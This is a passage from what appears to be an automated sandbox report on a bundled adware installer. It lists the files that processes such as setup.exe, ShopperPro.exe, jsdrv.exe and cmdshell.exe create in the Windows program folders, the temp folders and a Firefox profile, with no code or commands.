C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (557 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2eadcde48d81fc5e3430857e5cce12fb.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (489 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\1672ea0ccdd0b0bd9650031821ab8db0.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\f08bc8f6f7944070995fec72db18ba23.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\fa7e157f9a132d44dd9d7548e3e0a251.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8989e2bfb89a34c2242556646faa7490.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ed58eef825c0f1309f135b601d3dfbf2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\4d2619b7686b1a089ea7f19bdf7543b1.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\7be3de95a2d394fd6b4c6581fcbe0847.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6601426ee287f53dd998ed29e045f1b9.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ef6f67b6f75d02f279b4fe7c049a50d2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\c4e5df90034c33d6fa569c648db0b133.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\7edd666ba38ac7688f1d5a822e379d55.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\91cbc3fa2b90670f164f8228d3629242.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\57dbba2164940fd8ffda2602575170db.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\262.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\68a9600b26d21bf5af43c531b1cce08b.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b8e07b7bfe2135841c5006fe960dc45e.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\0410705b2e34f89cec04cfe4e1f7aaad.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\92e18c245b5d94b6cd757ccaca5e05d8.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\2a90a25174da8dc0b06664412c699a77.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\09fedbba1c97fe93208ab1b20d6b29e0.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\26fb4756a8c6f8d7a0d7b2cbda1d27a6.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\76db34acd3f225e0e364e0ce67e80ab5.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b60b5a3e77ec6629e806cea4716eb900.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c3cef2dbf7e945435fa24787f5764bac.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\f4ea0821df79fc355859f5a5d5e78d81.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\17040b54ca1861ce1ef051e53c2fa12f.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\63dad1f556e89ca8bf036e36a6d8f7ad.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\fed3d18877a790d7dc337836c146ddad.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\463372090c86eb4a0361c433935e4ab1.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6cdc90e0a599787eb3a434aad79dada3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\72da845517394131bbe2b76b826ae652.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\9003500e763c40c5746c05c45106e221.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a8a0b904623b6d6a9773b53e27cb4ab9.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\263.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\373.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (21 bytes)

The process powershell.exe:2568 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0G1XXUD5VQVAK1GVNIPQ.temp (196 bytes)

The process powershell.exe:2620 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4WP5HNN700Y0SNGG68BC.temp (196 bytes)

The process powershell.exe:316 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DP1QAMSF3041MZM8BLUN.temp (196 bytes)

The process setup.exe:3500 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\AccDownload.dll (11359 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\System.dll (23 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\nsExec.dll (14 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (36698 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj5956.tmp (347680 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (47570 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\MoreInfo.dll (15 bytes)

The process setup.exe:2528 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\1.zip (42164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\2[1].zip (46695 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\conf (83 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\wpm_v20.0.0.1714_0204.exe (16424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\lpd#4.3.0.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\1[1].zip (220487 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\BaofengUpdate.exe (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\UninstallManager.exe (59286 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\STab_Down_6.0.6.8.exe (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\2.zip (24758 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\422.db (240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\BFVUpdateM.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\checkbox_select.png (783 bytes)

The process HPNotify.exe:4160 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\conf (1498 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)

The process STab_Down_6.0.6.8.exe:200 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\XTab_v4.0.exe (27389 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\XTab_4.0.2.1716[1].exe (203514 bytes)

The process cmdshell.exe:2052 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\789614.html (1 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\rebirth[1].htm (1 bytes)

The process jsdrv.exe:1724 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\E94FOTQ4.txt (136 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\FSO1MKLS.txt (95 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\JL53PWZJ.txt (95 bytes)

The process ShopperPro.exe:2152 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\database1_0_0.json (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\jsdrv.sys (52 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)

The process WebPlayer.exe:3960 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\83a4cee7a59522b93ed0ae1fa73ce8f3[1].png (3422 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\jquery.min[2].js (49456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\b147a5a09b49b133d347bd975a4c5616[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\lightbox[1].js (5015 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\13ca8e322e15bc394d66a37bec12e3b4[1].png (35510 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\jquery.smooth-scroll.min[1].js (194 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\5.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\23428f8768d928d2bd45dd3b0c4d0057[1].png (20161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\e54e8c720dffffa619c3b0eacec9381a[1].png (3040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\589b1e936e1f038dc45bd8ffff59b359[1].png (17075 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\analytics[1].js (17192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\3d8bbea6bcae57d705c676f7050a7d51[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\7fb9f4ca0fa96299334c18ee76c7b68b[1].jpg (4112 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\07fce0a4ff78cc7e6376e227f046ce06[1].png (52470 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\home[1].htm (2911 bytes)
